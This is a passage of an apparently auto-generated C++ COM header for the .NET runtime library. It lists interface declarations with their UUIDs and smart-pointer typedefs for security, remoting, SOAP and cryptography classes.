_KeyContainerPermissionAccessEntry; struct __declspec(uuid("28ecf94e-3510-3a3e-8bd1-f866f45f3b06")) /* dual interface */ _KeyContainerPermissionAccessEntryCollection; struct __declspec(uuid("293187ea-5f88-316f-86a5-533b0c7b353f")) /* dual interface */ _KeyContainerPermissionAccessEntryEnumerator; struct __declspec(uuid("107a3cf1-b35e-3a23-b660-60264b231225")) /* dual interface */ _KeyContainerPermission; struct __declspec(uuid("e86cc74a-1233-3df3-b13f-8b27eeaac1f6")) /* dual interface */ _PublisherIdentityPermission; struct __declspec(uuid("c3fb5510-3454-3b31-b64f-de6aad6be820")) /* dual interface */ _RegistryPermission; struct __declspec(uuid("8000e51a-541c-3b20-a8ec-c8a8b41116c4")) /* dual interface */ _SuppressUnmanagedCodeSecurityAttribute; struct __declspec(uuid("41f41c1b-7b8d-39a3-a28f-aae20787f469")) /* dual interface */ _UnverifiableCodeAttribute; struct __declspec(uuid("f1c930c4-2233-3924-9840-231d008259b4")) /* dual interface */ _AllowPartiallyTrustedCallersAttribute; struct __declspec(uuid("9deae196-48c1-3590-9d0a-33716a214acd")) /* dual interface */ _HostSecurityManager; struct __declspec(uuid("c2af4970-4fb6-319c-a8aa-0614d27f2b2c")) /* dual interface */ _PermissionSet; struct __declspec(uuid("ba3e053f-ade3-3233-874a-16e624c9a49b")) /* dual interface */ _NamedPermissionSet; struct __declspec(uuid("f174290f-e4cf-3976-88aa-4f8e32eb03db")) /* dual interface */ _SecurityException; struct __declspec(uuid("ed727a9b-6fc5-3fed-bedd-7b66c847f87a")) /* dual interface */ _HostProtectionException; struct __declspec(uuid("abc04b16-5539-3c7e-92ec-0905a4a24464")) /* dual interface */ _SecurityManager; struct __declspec(uuid("f65070df-57af-3ae3-b951-d2ad7d513347")) /* dual interface */ _VerificationException; struct __declspec(uuid("f042505b-7aac-313b-a8c7-3f1ac949c311")) /* dual interface */ _ContextAttribute; struct __declspec(uuid("3936abe1-b29e-3593-83f1-793d1a7f3898")) /* dual interface */ _AsyncResult; struct __declspec(uuid("ffb2e16e-e5c7-367c-b326-965abf510f24")) /* dual interface */ _ChannelServices; struct __declspec(uuid("e1796120-c324-30d8-86f4-20086711463b")) /* dual interface */ _ClientChannelSinkStack; struct __declspec(uuid("52da9f90-89b3-35ab-907b-3562642967de")) /* dual interface */ _ServerChannelSinkStack; struct __declspec(uuid("ff19d114-3bda-30ac-8e89-36ca64a87120")) /* dual interface */ _ClientSponsor; struct __declspec(uuid("ee949b7b-439f-363e-b9fc-34db1fb781d7")) /* dual interface */ _CrossContextDelegate; struct __declspec(uuid("11a2ea7a-d600-307b-a606-511a6c7950d1")) /* dual interface */ _Context; struct __declspec(uuid("4acb3495-05db-381b-890a-d12f5340dca3")) /* dual interface */ _ContextProperty; struct __declspec(uuid("77c9bceb-9958-33c0-a858-599f66697da7")) /* dual interface */ _EnterpriseServicesHelper; struct __declspec(uuid("aa6da581-f972-36de-a53b-7585428a68ab")) /* dual interface */ _ChannelDataStore; struct __declspec(uuid("65887f70-c646-3a66-8697-8a3f7d8fe94d")) /* dual interface */ _TransportHeaders; struct __declspec(uuid("a18545b7-e5ee-31ee-9b9b-41199b11c995")) /* dual interface */ _SinkProviderData; struct __declspec(uuid("a1329ec9-e567-369f-8258-18366d89eaf8")) /* dual interface */ _BaseChannelObjectWithProperties; struct __declspec(uuid("8af3451e-154d-3d86-80d8-f8478b9733ed")) /* dual interface */ _BaseChannelSinkWithProperties; struct __declspec(uuid("94bb98ed-18bb-3843-a7fe-642824ab4e01")) /* dual interface */ _BaseChannelWithProperties; struct __declspec(uuid("b0ad9a21-5439-3d88-8975-4018b828d74c")) /* dual interface */ _LifetimeServices; struct __declspec(uuid("0eeff4c2-84bf-3e4e-bf22-b7bdbb5df899")) /* dual interface */ _ReturnMessage; struct __declspec(uuid("95e01216-5467-371b-8597-4074402ccb06")) /* dual interface */ _MethodCall; struct __declspec(uuid("a2246ae7-eb81-3a20-8e70-c9fa341c7e10")) /* dual interface */ _ConstructionCall; struct __declspec(uuid("9e9ea93a-d000-3ab9-bfca-ddeb398a55b9")) /* dual interface */ _MethodResponse; struct __declspec(uuid("be457280-6ffa-3e76-9822-83de63c0c4e0")) /* dual interface */ _ConstructionResponse; struct __declspec(uuid("ef926e1f-3ee7-32bc-8b01-c6e98c24bc19")) /* dual interface */ _InternalMessageWrapper; struct __declspec(uuid("c9614d78-10ea-3310-87ea-821b70632898")) /* dual interface */ _MethodCallMessageWrapper; struct __declspec(uuid("89304439-a24f-30f6-9a8f-89ce472d85da")) /* dual interface */ _MethodReturnMessageWrapper; struct __declspec(uuid("1dd3cf3d-df8e-32ff-91ec-e19aa10b63fb")) /* dual interface */ _ObjRef; struct __declspec(uuid("8ffedc68-5233-3fa8-813d-405aabb33ecb")) /* dual interface */ _OneWayAttribute; struct __declspec(uuid("d80ff312-2930-3680-a5e9-b48296c7415f")) /* dual interface */ _ProxyAttribute; struct __declspec(uuid("e0cf3f77-c7c3-33da-beb4-46147fc905de")) /* dual interface */ _RealProxy; struct __declspec(uuid("725692a5-9e12-37f6-911c-e3da77e5faca")) /* dual interface */ _SoapAttribute; struct __declspec(uuid("ebcdcd84-8c74-39fd-821c-f5eb3a2704d7")) /* dual interface */ _SoapTypeAttribute; struct __declspec(uuid("c58145b5-bd5a-3896-95d9-b358f54fbc44")) /* dual interface */ _SoapMethodAttribute; struct __declspec(uuid("46a3f9ff-f73c-33c7-bcc3-1bef4b25e4ae")) /* dual interface */ _SoapFieldAttribute; struct __declspec(uuid("c32abfc9-3917-30bf-a7bc-44250bdfc5d8")) /* dual interface */ _SoapParameterAttribute; struct __declspec(uuid("4b10971e-d61d-373f-bc8d-2ccf31126215")) /* dual interface */ _RemotingConfiguration; struct __declspec(uuid("8359f3ab-643f-3bcf-91e8-16e779edebe1")) /* dual interface */ _TypeEntry; struct __declspec(uuid("bac12781-6865-3558-a8d1-f1cadd2806dd")) /* dual interface */ _ActivatedClientTypeEntry; struct __declspec(uuid("94855a3b-5ca2-32cf-b1ab-48fd3915822c")) /* dual interface */ _ActivatedServiceTypeEntry; struct __declspec(uuid("4d0bc339-e3f9-3e9e-8f68-92168e6f6981")) /* dual interface */ _WellKnownClientTypeEntry; struct __declspec(uuid("60b8b604-0aed-3093-ac05-eb98fb29fc47")) /* dual interface */ _WellKnownServiceTypeEntry; struct __declspec(uuid("7264843f-f60c-39a9-99e1-029126aa0815")) /* dual interface */ _RemotingException; struct __declspec(uuid("19373c44-55b4-3487-9ad8-4c621aae85ea")) /* dual interface */ _ServerException; struct __declspec(uuid("44db8e15-acb1-34ee-81f9-56ed7ae37a5c")) /* dual interface */ _RemotingTimeoutException; struct __declspec(uuid("7b91368d-a50a-3d36-be8e-5b8836a419ad")) /* dual interface */ _RemotingServices; struct __declspec(uuid("f4efb305-cdc4-31c5-8102-33c9b91774f3")) /* dual interface */ _InternalRemotingServices; struct __declspec(uuid("04a35d22-0b08-34e7-a573-88ef2374375e")) /* dual interface */ _MessageSurrogateFilter; struct __declspec(uuid("551f7a57-8651-37db-a94a-6a3ca09c0ed7")) /* dual interface */ _RemotingSurrogateSelector; struct __declspec(uuid("7416b6ee-82e8-3a16-966b-018a40e7b1aa")) /* dual interface */ _SoapServices; struct __declspec(uuid("1738adbc-156e-3897-844f-c3147c528dea")) /* dual interface */ _SoapDateTime; struct __declspec(uuid("7ef50ddb-32a5-30a1-b412-47fab911404a")) /* dual interface */ _SoapDuration; struct __declspec(uuid("a3bf0bcd-ec32-38e6-92f2-5f37bad8030d")) /* dual interface */ _SoapTime; struct __declspec(uuid("cfa6e9d2-b3de-39a6-94d1-cc691de193f8")) /* dual interface */ _SoapDate; struct __declspec(uuid("103c7ef9-a9ee-35fb-84c5-3086c9725a20")) /* dual interface */ _SoapYearMonth; struct __declspec(uuid("c20769f3-858d-316a-be6d-c347a47948ad")) /* dual interface */ _SoapYear; struct __declspec(uuid("f9ead0aa-4156-368f-ae05-fd59d70f758d")) /* dual interface */ _SoapMonthDay; struct __declspec(uuid("d9e8314d-5053-3497-8a33-97d3dcfe33e2")) /* dual interface */ _SoapDay; struct __declspec(uuid("b4e32423-e473-3562-aa12-62fde5a7d4a2")) /* dual interface */ _SoapMonth; struct __declspec(uuid("63b9da95-fb91-358a-b7b7-90c34aa34ab7")) /* dual interface */ _SoapHexBinary; struct __declspec(uuid("8ed115a1-5e7b-34dc-ab85-90316f28015d")) /* dual interface */ _SoapBase64Binary; struct __declspec(uuid("30c65c40-4e54-3051-9d8f-4709b6ab214c")) /* dual interface */ _SoapInteger; struct __declspec(uuid("4979ec29-c2b7-3ad6-986d-5aaf7344cc4e")) /* dual interface */ _SoapPositiveInteger; struct __declspec(uuid("aaf5401e-f71c-3fe3-8a73-a25074b20d3a")) /* dual interface */ _SoapNonPositiveInteger; struct __declspec(uuid("bc261fc6-7132-3fb5-9aac-224845d3aa99")) /* dual interface */ _SoapNonNegativeInteger; struct __declspec(uuid("e384aa10-a70c-3943-97cf-0f7c282c3bdc")) /* dual interface */ _SoapNegativeInteger; struct __declspec(uuid("818ec118-be7e-3cde-92c8-44b99160920e")) /* dual interface */ _SoapAnyUri; struct __declspec(uuid("3ac646b6-6b84-382f-9aed-22c2433244e6")) /* dual interface */ _SoapQName; struct __declspec(uuid("974f01f4-6086-3137-9448-6a31fc9bef08")) /* dual interface */ _SoapNotation; struct __declspec(uuid("f4926b50-3f23-37e0-9afa-aa91ff89a7bd")) /* dual interface */ _SoapNormalizedString; struct __declspec(uuid("ab4e97b9-651d-36f4-aaba-28acf5746624")) /* dual interface */ _SoapToken; struct __declspec(uuid("14aed851-a168-3462-b877-8f9a01126653")) /* dual interface */ _SoapLanguage; struct __declspec(uuid("5eb06bef-4adf-3cc1-a6f2-62f76886b13a")) /* dual interface */ _SoapName; struct __declspec(uuid("7947a829-adb5-34d0-9cc8-6c172742c803")) /* dual interface */ _SoapIdrefs; struct __declspec(uuid("aca96da3-96ed-397e-8a72-ee1be1025f5e")) /* dual interface */ _SoapEntities; struct __declspec(uuid("e941fa15-e6c8-3dd4-b060-c0ddfbc0240a")) /* dual interface */ _SoapNmtoken; struct __declspec(uuid("a5e385ae-27fb-3708-baf7-0bf1f3955747")) /* dual interface */ _SoapNmtokens; struct __declspec(uuid("725cdaf7-b739-35c1-8463-e2a923e1f618")) /* dual interface */ _SoapNcName; struct __declspec(uuid("6a46b6a2-2d2c-3c67-af67-aae0175f17ae")) /* dual interface */ _SoapId; struct __declspec(uuid("7db7fd83-de89-38e1-9645-d4cabde694c0")) /* dual interface */ _SoapIdref; struct __declspec(uuid("37171746-b784-3586-a7d5-692a7604a66b")) /* dual interface */ _SoapEntity; struct __declspec(uuid("2d985674-231c-33d4-b14d-f3a6bd2ebe19")) /* dual interface */ _SynchronizationAttribute; struct __declspec(uuid("f51728f2-2def-308c-874a-cbb1baa9cf9e")) /* dual interface */ _TrackingServices; struct __declspec(uuid("717105a3-739b-3bc3-a2b7-ad215903fad2")) /* dual interface */ _UrlAttribute; struct __declspec(uuid("0d296515-ad19-3602-b415-d8ec77066081")) /* dual interface */ _Header; struct __declspec(uuid("5dbbaf39-a3df-30b7-aaea-9fd11394123f")) /* dual interface */ _HeaderHandler; struct __declspec(uuid("53bce4d4-6209-396d-bd4a-0b0a0a177df9")) /* dual interface */ _CallContext; struct __declspec(uuid("9aff21f5-1c9c-35e7-aea4-c3aa0beb3b77")) /* dual interface */ _LogicalCallContext; struct __declspec(uuid("ea675b47-64e0-3b5f-9be7-f7dc2990730d")) /* dual interface */ _ObjectHandle; struct __declspec(uuid("34ec3bd7-f2f6-3c20-a639-804bff89df65")) /* dual interface */ _IsolatedStorage; struct __declspec(uuid("68d5592b-47c8-381a-8d51-3925c16cf025")) /* dual interface */ _IsolatedStorageFileStream; struct __declspec(uuid("aec2b0de-9898-3607-b845-63e2e307cb5f")) /* dual interface */ _IsolatedStorageException; struct __declspec(uuid("6bbb7dee-186f-3d51-9486-be0a71e915ce")) /* dual interface */ _IsolatedStorageFile; struct __declspec(uuid("361a5049-1bc8-35a9-946a-53a877902f25")) /* dual interface */ _InternalRM; struct __declspec(uuid("a864fb13-f945-3dc0-a01c-b903f944fc97")) /* dual interface */ _InternalST; struct __declspec(uuid("bc0847b2-bd5c-37b3-ba67-7d2d54b17238")) /* dual interface */ _SoapMessage; struct __declspec(uuid("a1c392fc-314c-39d5-8de6-1f8ebca0a1e2")) /* dual interface */ _SoapFault; struct __declspec(uuid("02d1bd78-3bb6-37ad-a9f8-f7d5da273e4e")) /* dual interface */ _ServerFault; struct __declspec(uuid("3bcf0cb2-a849-375e-8189-1ba5f1f4a9b0")) /* dual interface */ _BinaryFormatter; struct __declspec(uuid("0daeaee7-007b-3fca-8755-a5c6c3158955")) /* dual interface */ _DynamicILInfo; struct __declspec(uuid("eaaa2670-0fb1-33ea-852b-f1c97fed1797")) /* dual interface */ _DynamicMethod; struct __declspec(uuid("1db1cc2a-da73-389e-828b-5c616f4fac49")) /* dual interface */ _OpCodes; struct __declspec(uuid("b1a62835-fc19-35a4-b206-a452463d7ee7")) /* dual interface */ _GenericTypeParameterBuilder; struct __declspec(uuid("fd302d86-240a-3694-a31f-9ef59e6e41bc")) /* dual interface */ _UnmanagedMarshal; struct __declspec(uuid("8978b0be-a89e-3ff9-9834-77862cebff3d")) /* dual interface */ _KeySizes; struct __declspec(uuid("4311e8f5-b249-3f81-8ff4-cf853d85306d")) /* dual interface */ _CryptographicException; struct __declspec(uuid("7fb08423-038f-3acc-b600-e6d072bae160")) /* dual interface */ _CryptographicUnexpectedOperationException; struct __declspec(uuid("7ae4b03c-414a-36e0-ba68-f9603004c925")) /* dual interface */ _RandomNumberGenerator; struct __declspec(uuid("2c65d4c0-584c-3e4e-8e6d-1afb112bff69")) /* dual interface */ _RNGCryptoServiceProvider; struct __declspec(uuid("05bc0e38-7136-3825-9e34-26c1cf2142c9")) /* dual interface */ _SymmetricAlgorithm; struct __declspec(uuid("09343ac0-d19a-3e62-bc16-0f600f10180a")) /* dual interface */ _AsymmetricAlgorithm; struct __declspec(uuid("b6685cca-7a49-37d1-a805-3de829cb8deb")) /* dual interface */ _AsymmetricKeyExchangeDeformatter; struct __declspec(uuid("1365b84b-6477-3c40-be6a-089dc01eced9")) /* dual interface */ _AsymmetricKeyExchangeFormatter; struct __declspec(uuid("7ca5fe57-d1ac-3064-bb0b-f450be40f194")) /* dual interface */ _AsymmetricSignatureDeformatter; struct __declspec(uuid("5363d066-6295-3618-be33-3f0b070b7976")) /* dual interface */ _AsymmetricSignatureFormatter; struct __declspec(uuid("23ded1e1-7d5f-3936-aa4e-18bbcc39b155")) /* dual interface */ _ToBase64Transform; struct __declspec(uuid("fc0717a6-2e86-372f-81f4-b35ed4bdf0de")) /* dual interface */ _FromBase64Transform; struct __declspec(uuid("983b8639-2ed7-364c-9899-682abb2ce850")) /* dual interface */ _CryptoAPITransform; struct __declspec(uuid("d5331d95-fff2-358f-afd5-588f469ff2e4")) /* dual interface */ _CspParameters; struct __declspec(uuid("ab00f3f8-7dde-3ff5-b805-6c5dbb200549")) /* dual interface */ _CryptoConfig; struct __declspec(uuid("4134f762-d0ec-3210-93c0-de4f443d5669")) /* dual interface */ _CryptoStream; struct __declspec(uuid("c7ef0214-b91c-3799-98dd-c994aabfc741")) /* dual interface */ _DES; struct __declspec(uuid("65e8495e-5207-3248-9250-0fc849b4f096")) /* dual interface */ _DESCryptoServiceProvider; struct __declspec(uuid("140ee78f-067f-3765-9258-c3bc72fe976b")) /* dual interface */ _DeriveBytes; struct __declspec(uuid("0eb5b5e0-1be6-3a5f-87b3-e3323342f44e")) /* dual interface */ _DSA; struct __declspec(uuid("1f38aafe-7502-332f-971f-c2fc700a1d55")) /* dual interface */ _DSACryptoServiceProvider; struct __declspec(uuid("0e774498-ade6-3820-b1d5-426b06397be7")) /* dual interface */ _DSASignatureDeformatter; struct __declspec(uuid("4b5fc561-5983-31e4-903b-1404231b2c89")) /* dual interface */ _DSASignatureFormatter; struct __declspec(uuid("69d3baba-1c3d-354c-acfe-f19109ec3896")) /* dual interface */ _HashAlgorithm; struct __declspec(uuid("d182cf91-628c-3ff6-87f0-41ba51cc7433")) /* dual interface */ _KeyedHashAlgorithm; struct __declspec(uuid("e5456726-33f6-34e4-95c2-db2bfa581462")) /* dual interface */ _HMAC; struct __declspec(uuid("486360f5-6213-322b-befb-45221579d4af")) /* dual interface */ _HMACMD5; struct __declspec(uuid("9fd974a5-338c-37b9-a1b2-d45f0c2b25c2")) /* dual interface */ _HMACRIPEMD160; struct __declspec(uuid("63ac7c37-c51a-3d82-8fdd-2a567039e46d")) /* dual interface */ _HMACSHA1; struct __declspec(uuid("1377ce34-8921-3bd4-96e9-c8d5d5aa1adf")) /* dual interface */ _HMACSHA256; struct __declspec(uuid("786f8ac3-93e4-3b6f-9f62-1901b0e5f433")) /* dual interface */ _HMACSHA384; struct __declspec(uuid("eb081b9d-a766-3abe-b720-505c42162d83")) /* dual interface */ _HMACSHA512; struct __declspec(uuid("be8619cb-3731-3cb2-a3a8-cd0bfa5566ec")) /* dual interface */ _CspKeyContainerInfo; struct __declspec(uuid("1cac0bda-ac58-31bc-b624-63f77d0c3d2f")) /* dual interface */ _MACTripleDES; struct __declspec(uuid("9aa8765e-69a0-30e3-9cde-ebc70662ae37")) /* dual interface */ _MD5; struct __declspec(uuid("d3f5c812-5867-33c9-8cee-cb170e8d844a")) /* dual interface */ _MD5CryptoServiceProvider; struct __declspec(uuid("85601fee-a79d-3710-af21-099089edc0bf")) /* dual interface */ _MaskGenerationMethod; struct __declspec(uuid("3cd62d67-586f-309e-a6d8-1f4baac5ac28")) /* dual interface */ _PasswordDeriveBytes; struct __declspec(uuid("425bff0d-59e4-36a8-b1ff-1f5d39d698f4")) /* dual interface */ _PKCS1MaskGenerationMethod; struct __declspec(uuid("f7c0c4cc-0d49-31ee-a3d3-b8b551e4928c")) /* dual interface */ _RC2; struct __declspec(uuid("875715c5-cb64-3920-8156-0ee9cb0e07ea")) /* dual interface */ _RC2CryptoServiceProvider; struct __declspec(uuid("a6589897-5a67-305f-9497-72e5fe8bead5")) /* dual interface */ _Rfc2898DeriveBytes; struct __declspec(uuid("e5481be9-3422-3506-bc35-b96d4535014d")) /* dual interface */ _RIPEMD160; struct __declspec(uuid("814f9c35-b7f8-3ceb-8e43-e01f09157060")) /* dual interface */ _RIPEMD160Managed; struct __declspec(uuid("0b3fb710-a25c-3310-8774-1cf117f95bd4")) /* dual interface */ _RSA; struct __declspec(uuid("bd9df856-2300-3254-bcf0-679ba03c7a13")) /* dual interface */ _RSACryptoServiceProvider; struct __declspec(uuid("37625095-7baa-377d-a0dc-7f465c0167aa")) /* dual interface */ _RSAOAEPKeyExchangeDeformatter; struct __declspec(uuid("77a416e7-2ac6-3d0e-98ff-3ba0f586f56f")) /* dual interface */ _RSAOAEPKeyExchangeFormatter; struct __declspec(uuid("8034aaf4-3666-3b6f-85cf-463f9bfd31a9")) /* dual interface */ _RSAPKCS1KeyExchangeDeformatter; struct __declspec(uuid("9ff67f8e-a7aa-3ba6-90ee-9d44af6e2f8c")) /* dual interface */ _RSAPKCS1KeyExchangeFormatter; struct __declspec(uuid("fc38507e-06a4-3300-8652-8d7b54341f65")) /* dual interface */ _RSAPKCS1SignatureDeformatter; struct __declspec(uuid("fb7a5ff4-cfa8-3f24-ad5f-d5eb39359707")) /* dual interface */ _RSAPKCS1SignatureFormatter; struct __declspec(uuid("21b52a91-856f-373c-ad42-4cf3f1021f5a")) /* dual interface */ _Rijndael; struct __declspec(uuid("427ea9d3-11d8-3e38-9e05-a4f7fa684183")) /* dual interface */ _RijndaelManaged; struct __declspec(uuid("5767c78f-f344-35a5-84bc-53b9eaeb68cb")) /* dual interface */ _RijndaelManagedTransform; struct __declspec(uuid("48600dd2-0099-337f-92d6-961d1e5010d4")) /* dual interface */ _SHA1; struct __declspec(uuid("a16537bc-1edf-3516-b75e-cc65caf873ab")) /* dual interface */ _SHA1CryptoServiceProvider; struct __declspec(uuid("c27990bb-3cfd-3d29-8dc0-bbe5fbadeafd")) /* dual interface */ _SHA1Managed; struct __declspec(uuid("3b274703-dfae-3f9c-a1b5-9990df9d7fa3")) /* dual interface */ _SHA256; struct __declspec(uuid("3d077954-7bcc-325b-9dda-3b17a03378e0")) /* dual interface */ _SHA256Managed; struct __declspec(uuid("b60ad5d7-2c2e-35b7-8d77-7946156cfe8e")) /* dual interface */ _SHA384; struct __declspec(uuid("de541460-f838-3698-b2da-510b09070118")) /* dual interface */ _SHA384Managed; struct __declspec(uuid("49dd9e4b-84f3-3d6d-91fb-3fedcef634c7")) /* dual interface */ _SHA512; struct __declspec(uuid("dc8ce439-7954-36ed-803c-674f72f27249")) /* dual interface */ _SHA512Managed; struct __declspec(uuid("8017b414-4886-33da-80a3-7865c1350d43")) /* dual interface */ _SignatureDescription; struct __declspec(uuid("c040b889-5278-3132-aff9-afa61707a81d")) /* dual interface */ _TripleDES; struct __declspec(uuid("ec69d083-3cd0-3c0c-998c-3b738db535d5")) /* dual interface */ _TripleDESCryptoServiceProvider; struct __declspec(uuid("68fd6f14-a7b2-36c8-a724-d01f90d73477")) /* dual interface */ _X509Certificate; // // Smart pointer typedef declarations // _COM_SMARTPTR_TYPEDEF(IComparable, __uuidof(IComparable)); _COM_SMARTPTR_TYPEDEF(ICloneable, __uuidof(ICloneable)); _COM_SMARTPTR_TYPEDEF(IEnumerable, __uuidof(IEnumerable)); _COM_SMARTPTR_TYPEDEF(IList, __uuidof(IList)); _COM_SMARTPTR_TYPEDEF(IEnumerator, __uuidof(IEnumerator)); _COM_SMARTPTR_TYPEDEF(IDisposable, __uuidof(IDisposable)); _COM_SMARTPTR_TYPEDEF(IComparer, __uuidof(IComparer)); _COM_SMARTPTR_TYPEDEF(IEqualityComparer, __uuidof(IEqualityComparer)); _COM_SMARTPTR_TYPEDEF(IDeserializationCallback, __uuidof(IDeserializationCallback)); _COM_SMARTPTR_TYPEDEF(_Activator, __uuidof(_Activator)); _COM_SMARTPTR_TYPEDEF(IAppDomainSetup, __uuidof(IAppDomainSetup)); _COM_SMARTPTR_TYPEDEF(_Attribute, __uuidof(_Attribute)); _COM_SMARTPTR_TYPEDEF(_Thread, __uuidof(_Thread)); _COM_SMARTPTR_TYPEDEF(IObjectHandle, __uuidof(IObjectHandle)); _COM_SMARTPTR_TYPEDEF(IHashCodeProvider, __uuidof(IHashCodeProvider)); _COM_SMARTPTR_TYPEDEF(IDictionaryEnumerator, __uuidof(IDictionaryEnumerator)); _COM_SMARTPTR_TYPEDEF(ISymbolDocument, __uuidof(ISymbolDocument)); _COM_SMARTPTR_TYPEDEF(ISymbolDocumentWriter, __uuidof(ISymbolDocumentWriter)); _COM_SMARTPTR_TYPEDEF(ISymbolNamespace, __uuidof(ISymbolNamespace)); _COM_SMARTPTR_TYPEDEF(ISymbolVariable, __uuidof(ISymbolVariable)); _COM_SMARTPTR_TYPEDEF(_AssemblyName, __uuidof(_AssemblyName)); _COM_SMARTPTR_TYPEDEF(_ParameterInfo, __uuidof(_ParameterInfo)); _COM_SMARTPTR_TYPEDEF(_Module, __uuidof(_Module)); _COM_SMARTPTR_TYPEDEF(ISymbolWriter, __uuidof(ISymbolWriter)); _COM_SMARTPTR_TYPEDEF(IObjectReference, __uuidof(IObjectReference)); _COM_SMARTPTR_TYPEDEF(IResourceReader, __uuidof(IResourceReader)); _COM_SMARTPTR_TYPEDEF(IResourceWriter, __uuidof(IResourceWriter)); _COM_SMARTPTR_TYPEDEF(IIdentity, __uuidof(IIdentity)); _COM_SMARTPTR_TYPEDEF(IPrincipal, __uuidof(IPrincipal)); _COM_SMARTPTR_TYPEDEF(ICustomMarshaler, __uuidof(ICustomMarshaler)); _COM_SMARTPTR_TYPEDEF(ICustomAdapter, __uuidof(ICustomAdapter)); _COM_SMARTPTR_TYPEDEF(ITypeLibExporterNameProvider, __uuidof(ITypeLibExporterNameProvider)); _COM_SMARTPTR_TYPEDEF(IPermission, __uuidof(IPermission)); _COM_SMARTPTR_TYPEDEF(IStackWalk, __uuidof(IStackWalk)); _COM_SMARTPTR_TYPEDEF(IUnrestrictedPermission, __uuidof(IUnrestrictedPermission)); _COM_SMARTPTR_TYPEDEF(IChannel, __uuidof(IChannel)); _COM_SMARTPTR_TYPEDEF(IChannelReceiver, __uuidof(IChannelReceiver)); _COM_SMARTPTR_TYPEDEF(IMethodCallMessage, __uuidof(IMethodCallMessage)); _COM_SMARTPTR_TYPEDEF(IConstructionReturnMessage, __uuidof(IConstructionReturnMessage)); _COM_SMARTPTR_TYPEDEF(IClientFormatterSinkProvider, __uuidof(IClientFormatterSinkProvider)); _COM_SMARTPTR_TYPEDEF(IServerFormatterSinkProvider, __uuidof(IServerFormatterSinkProvider)); _COM_SMARTPTR_TYPEDEF(IClientFormatterSink, __uuidof(IClientFormatterSink)); _COM_SMARTPTR_TYPEDEF(IChannelDataStore, __uuidof(IChannelDataStore)); _COM_SMARTPTR_TYPEDEF(ITransportHeaders, __uuidof(ITransportHeaders)); _COM_SMARTPTR_TYPEDEF(IDynamicProperty, __uuidof(IDynamicProperty)); _COM_SMARTPTR_TYPEDEF(IMessageCtrl, __uuidof(IMessageCtrl)); _COM_SMARTPTR_TYPEDEF(IFieldInfo, __uuidof(IFieldInfo)); _COM_SMARTPTR_TYPEDEF(IChannelInfo, __uuidof(IChannelInfo)); _COM_SMARTPTR_TYPEDEF(ISoapXsd, __uuidof(ISoapXsd)); _COM_SMARTPTR_TYPEDEF(ILogicalThreadAffinative, __uuidof(ILogicalThreadAffinative)); _COM_SMARTPTR_TYPEDEF(INormalizeForIsolatedStorage, __uuidof(INormalizeForIsolatedStorage)); _COM_SMARTPTR_TYPEDEF(ISoapMessage, __uuidof(ISoapMessage)); _COM_SMARTPTR_TYPEDEF(_AssemblyBuilder, __uuidof(_AssemblyBuilder)); _COM_SMARTPTR_TYPEDEF(_ConstructorBuilder, __uuidof(_ConstructorBuilder)); _COM_SMARTPTR_TYPEDEF(_CustomAttributeBuilder, __uuidof(_CustomAttributeBuilder)); _COM_SMARTPTR_TYPEDEF(_EnumBuilder, __uuidof(_EnumBuilder)); _COM_SMARTPTR_TYPEDEF(_EventBuilder, __uuidof(_EventBuilder)); _COM_SMARTPTR_TYPEDEF(_FieldBuilder, __uuidof(_FieldBuilder)); _COM_SMARTPTR_TYPEDEF(_ILGenerator, __uuidof(_ILGenerator)); _COM_SMARTPTR_TYPEDEF(_LocalBuilder, __uuidof(_LocalBuilder)); _COM_SMARTPTR_TYPEDEF(_MethodBuilder, __uuidof(_MethodBuilder)); _COM_SMARTPTR_TYPEDEF(_MethodRental, __uuidof(_MethodRental)); _COM_SMARTPTR_TYPEDEF(_ModuleBuilder, __uuidof(_ModuleBuilder)); _COM_SMARTPTR_TYPEDEF(_ParameterBuilder, __uuidof(_ParameterBuilder)); _COM_SMARTPTR_TYPEDEF(_PropertyBuilder, __uuidof(_PropertyBuilder)); _COM_SMARTPTR_TYPEDEF(_SignatureHelper, __uuidof(_SignatureHelper)); _COM_SMARTPTR_TYPEDEF(_TypeBuilder, __uuidof(_TypeBuilder)); _COM_SMARTPTR_TYPEDEF(ICryptoTransform, __uuidof(ICryptoTransform)); _COM_SMARTPTR_TYPEDEF(_ValueType, __uuidof(_ValueType)); _COM_SMARTPTR_TYPEDEF(_Enum, __uuidof(_Enum)); _COM_SMARTPTR_TYPEDEF(_MulticastDelegate, __uuidof(_MulticastDelegate)); _COM_SMARTPTR_TYPEDEF(_Array, __uuidof(_Array)); _COM_SMARTPTR_TYPEDEF(ICollection, __uuidof(ICollection)); _COM_SMARTPTR_TYPEDEF(IDictionary, __uuidof(IDictionary)); _COM_SMARTPTR_TYPEDEF(IChannelSinkBase, __uuidof(IChannelSinkBase)); _COM_SMARTPTR_TYPEDEF(IMessage, __uuidof(IMessage)); _COM_SMARTPTR_TYPEDEF(IMessageSink, __uuidof(IMessageSink)); _COM_SMARTPTR_TYPEDEF(IChannelSender, __uuidof(IChannelSender)); _COM_SMARTPTR_TYPEDEF(IContributeClientContextSink, __uuidof(IContributeClientContextSink)); _COM_SMARTPTR_TYPEDEF(IContributeServerContextSink, __uuidof(IContributeServerContextSink)); _COM_SMARTPTR_TYPEDEF(IDynamicMessageSink, __uuidof(IDynamicMessageSink)); _COM_SMARTPTR_TYPEDEF(IContributeDynamicSink, __uuidof(IContributeDynamicSink)); _COM_SMARTPTR_TYPEDEF(IEnvoyInfo, __uuidof(IEnvoyInfo)); _COM_SMARTPTR_TYPEDEF(_String, __uuidof(_String)); _COM_SMARTPTR_TYPEDEF(_StringComparer, __uuidof(_StringComparer)); _COM_SMARTPTR_TYPEDEF(_StringBuilder, __uuidof(_StringBuilder)); _COM_SMARTPTR_TYPEDEF(_SystemException, __uuidof(_SystemException)); _COM_SMARTPTR_TYPEDEF(_OutOfMemoryException, __uuidof(_OutOfMemoryException)); _COM_SMARTPTR_TYPEDEF(_StackOverflowException, __uuidof(_StackOverflowException)); _COM_SMARTPTR_TYPEDEF(_DataMisalignedException, __uuidof(_DataMisalignedException)); _COM_SMARTPTR_TYPEDEF(_ExecutionEngineException, __uuidof(_ExecutionEngineException)); _COM_SMARTPTR_TYPEDEF(_MemberAccessException, __uuidof(_MemberAccessException)); _COM_SMARTPTR_TYPEDEF(_AccessViolationException, __uuidof(_AccessViolationException)); _COM_SMARTPTR_TYPEDEF(_ApplicationActivator, __uuidof(_ApplicationActivator)); _COM_SMARTPTR_TYPEDEF(_ApplicationException, __uuidof(_ApplicationException)); _COM_SMARTPTR_TYPEDEF(_EventArgs, __uuidof(_EventArgs)); 